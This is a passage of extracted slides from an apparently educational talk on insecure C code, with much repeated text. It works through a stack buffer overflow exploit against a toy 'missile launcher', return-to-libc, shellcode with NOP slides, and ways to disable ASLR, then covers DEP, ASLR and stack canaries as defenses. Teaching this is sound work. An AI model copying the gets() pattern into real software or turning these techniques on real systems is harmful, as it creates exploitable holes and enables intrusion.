  • 147. int main(void) { struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; uint8_t padding2[8]; void * saved_ebp; void * return_address; } sf; memset(&sf, 0, sizeof sf); sf.allowaccess = true; sf.n_missiles = 3; sf.saved_ebp = (void*)0xbffffa88; sf.return_address = (void*)0x080484c8; while (true) { sf.n_missiles++; fwrite(&sf, sizeof sf, 1, stdout); putchar('n'); } } $ ./exploit | ./launch WarGames MissileLauncher v0.1 Secret: Access granted Launching 4 missiles Secret: Access granted Launching 5 missiles Secret: Access granted Launching 6 missiles ... void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0xc8 0x84 0x04 0x08 0xbffffa40 0xbffffa6c
  • 148. int main(void) { struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; uint8_t padding2[8]; void * saved_ebp; void * return_address; } sf; memset(&sf, 0, sizeof sf); sf.allowaccess = true; sf.n_missiles = 3; sf.saved_ebp = (void*)0xbffffa88; sf.return_address = (void*)0x080484c8; while (true) { sf.n_missiles++; fwrite(&sf, sizeof sf, 1, stdout); putchar('n'); } } $ ./exploit | ./launch WarGames MissileLauncher v0.1 Secret: Access granted Launching 4 missiles Secret: Access granted Launching 5 missiles Secret: Access granted Launching 6 missiles ... void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0xc8 0x84 0x04 0x08 0xbffffa40 0xbffffa6c
  • 149. int main(void) { struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; uint8_t padding2[8]; void * saved_ebp; void * return_address; } sf; memset(&sf, 0, sizeof sf); sf.allowaccess = true; sf.n_missiles = 3; sf.saved_ebp = (void*)0xbffffa88; sf.return_address = (void*)0x080484c8; while (true) { sf.n_missiles++; fwrite(&sf, sizeof sf, 1, stdout); putchar('n'); } } $ ./exploit | ./launch WarGames MissileLauncher v0.1 Secret: Access granted Launching 4 missiles Secret: Access granted Launching 5 missiles Secret: Access granted Launching 6 missiles ... void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0xc8 0x84 0x04 0x08 0xbffffa40 0xbffffa6c
  • 150. int main(void) { struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; uint8_t padding2[8]; void * saved_ebp; void * return_address; } sf; memset(&sf, 0, sizeof sf); sf.allowaccess = true; sf.n_missiles = 3; sf.saved_ebp = (void*)0xbffffa88; sf.return_address = (void*)0x080484c8; while (true) { sf.n_missiles++; fwrite(&sf, sizeof sf, 1, stdout); putchar('n'); } } $ ./exploit | ./launch WarGames MissileLauncher v0.1 Secret: Access granted Launching 4 missiles Secret: Access granted Launching 5 missiles Secret: Access granted Launching 6 missiles ... void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0xc8 0x84 0x04 0x08 0xbffffa40 0xbffffa6c Overwriting the return-address is an example of arc injection, where we change the execution flow of the program.This technique can also be used to jump into a function in the standard library, for example, first push the address of a string, say "cat /etc/password" and then jump to the system().Therefore this technique is sometimes referred to as return to libc.
  • 151. We are of course not limited to only push data on the stack, let's try to put some executable code on the stack. 00000000 <hello>: 0: 55 push ebp 1: 89 e5 mov ebp,esp 3: 83 ec 28 sub esp,0x28 6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 1f: 8d 45 eb lea eax,[ebp-0x15] 22: 89 04 24 mov DWORD PTR [esp],eax 25: e8 fc ff ff ff call 26 <hello+0x26> 2a: c9 leave 2b: c3 ret
  • 152. We are of course not limited to only push data on the stack, let's try to put some executable code on the stack. Let a compiler generate the values to write on the stack. 00000000 <hello>: 0: 55 push ebp 1: 89 e5 mov ebp,esp 3: 83 ec 28 sub esp,0x28 6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 1f: 8d 45 eb lea eax,[ebp-0x15] 22: 89 04 24 mov DWORD PTR [esp],eax 25: e8 fc ff ff ff call 26 <hello+0x26> 2a: c9 leave 2b: c3 ret
  • 153. void hello(void) { char str[] = "David rocks!"; puts(str); } We are of course not limited to only push data on the stack, let's try to put some executable code on the stack. Let a compiler generate the values to write on the stack. 00000000 <hello>: 0: 55 push ebp 1: 89 e5 mov ebp,esp 3: 83 ec 28 sub esp,0x28 6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 1f: 8d 45 eb lea eax,[ebp-0x15] 22: 89 04 24 mov DWORD PTR [esp],eax 25: e8 fc ff ff ff call 26 <hello+0x26> 2a: c9 leave 2b: c3 ret
  • 154. void hello(void) { char str[] = "David rocks!"; puts(str); } We are of course not limited to only push data on the stack, let's try to put some executable code on the stack. Let a compiler generate the values to write on the stack. 00000000 <hello>: 0: 55 push ebp 1: 89 e5 mov ebp,esp 3: 83 ec 28 sub esp,0x28 6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 1f: 8d 45 eb lea eax,[ebp-0x15] 22: 89 04 24 mov DWORD PTR [esp],eax 25: e8 fc ff ff ff call 26 <hello+0x26> 2a: c9 leave 2b: c3 ret This is our shell code, and we can now do code injection by letting our exploit poke this into memory and use for example arc injection to jump to the first instruction. If you craft the exploit carefully, you might manage to restore the stack and return correctly back to the original return adress as if nothing has happened.
  • 155. void hello(void) { char str[] = "David rocks!"; puts(str); } We are of course not limited to only push data on the stack, let's try to put some executable code on the stack. Let a compiler generate the values to write on the stack. 00000000 <hello>: 0: 55 push ebp 1: 89 e5 mov ebp,esp 3: 83 ec 28 sub esp,0x28 6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 1f: 8d 45 eb lea eax,[ebp-0x15] 22: 89 04 24 mov DWORD PTR [esp],eax 25: e8 fc ff ff ff call 26 <hello+0x26> 2a: c9 leave 2b: c3 ret This is our shell code, and we can now do code injection by letting our exploit poke this into memory and use for example arc injection to jump to the first instruction. If you craft the exploit carefully, you might manage to restore the stack and return correctly back to the original return adress as if nothing has happened. Expert tip: it might be difficult to calculate exactly the address of your code, so often you will start your shell code with a long string of NOP's or similar to make it easier to start executing your code.This is often called a NOP slide.
  • 157. Cool! Can you demonstrate how to do code injection?
  • 158. Cool! Can you demonstrate how to do code injection? It used to be easy to do this, back in the old days. Recent versions of all major operating systems have implemented some kind of protection mechanisms to prevent data to be executed as code. Data Execution Protection (DEP). This is sometimes implemented as a W^X strategy (Writable xor eXecutable), where blocks of memory are marked as either writable or executable but never simultaneously. For a long time there has also been hardware support for this (often called the NX bit), and some operating systems refuses to be installed on machines that does not have hardware protection against running data as code.
  • 159. Cool! Can you demonstrate how to do code injection? It used to be easy to do this, back in the old days. Recent versions of all major operating systems have implemented some kind of protection mechanisms to prevent data to be executed as code. Data Execution Protection (DEP). This is sometimes implemented as a W^X strategy (Writable xor eXecutable), where blocks of memory are marked as either writable or executable but never simultaneously. For a long time there has also been hardware support for this (often called the NX bit), and some operating systems refuses to be installed on machines that does not have hardware protection against running data as code. But what about the other stuff you have demonstrated. Is there no protection against that?
  • 160. Cool! Can you demonstrate how to do code injection? It used to be easy to do this, back in the old days. Recent versions of all major operating systems have implemented some kind of protection mechanisms to prevent data to be executed as code. Data Execution Protection (DEP). This is sometimes implemented as a W^X strategy (Writable xor eXecutable), where blocks of memory are marked as either writable or executable but never simultaneously. For a long time there has also been hardware support for this (often called the NX bit), and some operating systems refuses to be installed on machines that does not have hardware protection against running data as code. But what about the other stuff you have demonstrated. Is there no protection against that? Yes, there are plenty, but most of them are easy to turn off. (Remember this is a talk about how to write insecure code... so we don't deny ourself the opportunity to make things easy for ourself)
  • 162. One mechanism that makes it difficult to do arc injection or return to lib-c is ASLR (address space layout randomization).When ASLR is enabled key data areas gets a "hard to guess" positions when the program is being loaded and executed. For ASLR to work properly your code must also compile as position independent code (-fpic , -fpie)
  • 163. One mechanism that makes it difficult to do arc injection or return to lib-c is ASLR (address space layout randomization).When ASLR is enabled key data areas gets a "hard to guess" positions when the program is being loaded and executed. For ASLR to work properly your code must also compile as position independent code (-fpic , -fpie) void foo(void) { puts("David rocks!"); } int main(void) { char * str = "David rocks!"; printf("%pn", foo); printf("%pn", str); printf("%pn", system); }
  • 164. One mechanism that makes it difficult to do arc injection or return to lib-c is ASLR (address space layout randomization).When ASLR is enabled key data areas gets a "hard to guess" positions when the program is being loaded and executed. For ASLR to work properly your code must also compile as position independent code (-fpic , -fpie) void foo(void) { puts("David rocks!"); } int main(void) { char * str = "David rocks!"; printf("%pn", foo); printf("%pn", str); printf("%pn", system); } $ ./a.out 0x804844d 0x8048540 0x8048320 $ ./a.out 0x804844d 0x8048540 0x8048320 $ ./a.out 0x804844d 0x8048540 0x8048320 $ ASLR disabled
  • 165. One mechanism that makes it difficult to do arc injection or return to lib-c is ASLR (address space layout randomization).When ASLR is enabled key data areas gets a "hard to guess" positions when the program is being loaded and executed. For ASLR to work properly your code must also compile as position independent code (-fpic , -fpie) void foo(void) { puts("David rocks!"); } int main(void) { char * str = "David rocks!"; printf("%pn", foo); printf("%pn", str); printf("%pn", system); } $ ./a.out 0x804844d 0x8048540 0x8048320 $ ./a.out 0x804844d 0x8048540 0x8048320 $ ./a.out 0x804844d 0x8048540 0x8048320 $ ASLR disabled $ ./a.out 0xb77cf64b 0xb77cf770 0xb764af50 $ ./a.out 0xb777264b 0xb7772770 0xb75edf50 $ ./a.out 0xb772b64b 0xb772b770 0xb75a6f50 $ ASLR enabled
  • 166. One mechanism that makes it difficult to do arc injection or return to lib-c is ASLR (address space layout randomization).When ASLR is enabled key data areas gets a "hard to guess" positions when the program is being loaded and executed. For ASLR to work properly your code must also compile as position independent code (-fpic , -fpie) void foo(void) { puts("David rocks!"); } int main(void) { char * str = "David rocks!"; printf("%pn", foo); printf("%pn", str); printf("%pn", system); } $ ./a.out 0x804844d 0x8048540 0x8048320 $ ./a.out 0x804844d 0x8048540 0x8048320 $ ./a.out 0x804844d 0x8048540 0x8048320 $ ASLR disabled $ ./a.out 0xb77cf64b 0xb77cf770 0xb764af50 $ ./a.out 0xb777264b 0xb7772770 0xb75edf50 $ ./a.out 0xb772b64b 0xb772b770 0xb75a6f50 $ ASLR enabled On my machine there are many ways to disable/enable ASLR.
  • 167. One mechanism that makes it difficult to do arc injection or return to lib-c is ASLR (address space layout randomization).When ASLR is enabled key data areas gets a "hard to guess" positions when the program is being loaded and executed. For ASLR to work properly your code must also compile as position independent code (-fpic , -fpie) void foo(void) { puts("David rocks!"); } int main(void) { char * str = "David rocks!"; printf("%pn", foo); printf("%pn", str); printf("%pn", system); } $ ./a.out 0x804844d 0x8048540 0x8048320 $ ./a.out 0x804844d 0x8048540 0x8048320 $ ./a.out 0x804844d 0x8048540 0x8048320 $ ASLR disabled $ ./a.out 0xb77cf64b 0xb77cf770 0xb764af50 $ ./a.out 0xb777264b 0xb7772770 0xb75edf50 $ ./a.out 0xb772b64b 0xb772b770 0xb75a6f50 $ ASLR enabled •Disable / enbable ASLR with "echo value > /proc/sys/kernel/randomize_va_space" •Change set "kernel.randomize_va_space = value" in /etc/sysctl.conf •Boot linux with the norandmaps parameter On my machine there are many ways to disable/enable ASLR.
  • 169. Many compliers can create extra code to check for buffer overflow. Here is an example.
  • 170. 08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret 080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28 80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt> 804853f leave 8048540 ret compiled with -fno-stack-protector compiled with -fstack-protector Many compliers can create extra code to check for buffer overflow. Here is an example.
  • 171. 08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret 080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28 80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt> 804853f leave 8048540 ret compiled with -fno-stack-protector compiled with -fstack-protector Many compliers can create extra code to check for buffer overflow. Here is an example. A "magic" value is put on stack in the preamble for the function.This magic value is then checked again before the function returns to the caller.This sometimes called a stack canary.
  • 172. 08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret 080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28 80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt> 804853f leave 8048540 ret compiled with -fno-stack-protector compiled with -fstack-protector Many compliers can create extra code to check for buffer overflow. Here is an example.
  • 173. 08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret 080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28 80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt> 804853f leave 8048540 ret compiled with -fno-stack-protector compiled with -fstack-protector Many compliers can create extra code to check for buffer overflow. Here is an example. Notice also that the variables have been rearranged in memory so that it is more difficult to overwrite them through a stack overflow in the response buffer.
  • 174. 08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret 080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28 80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 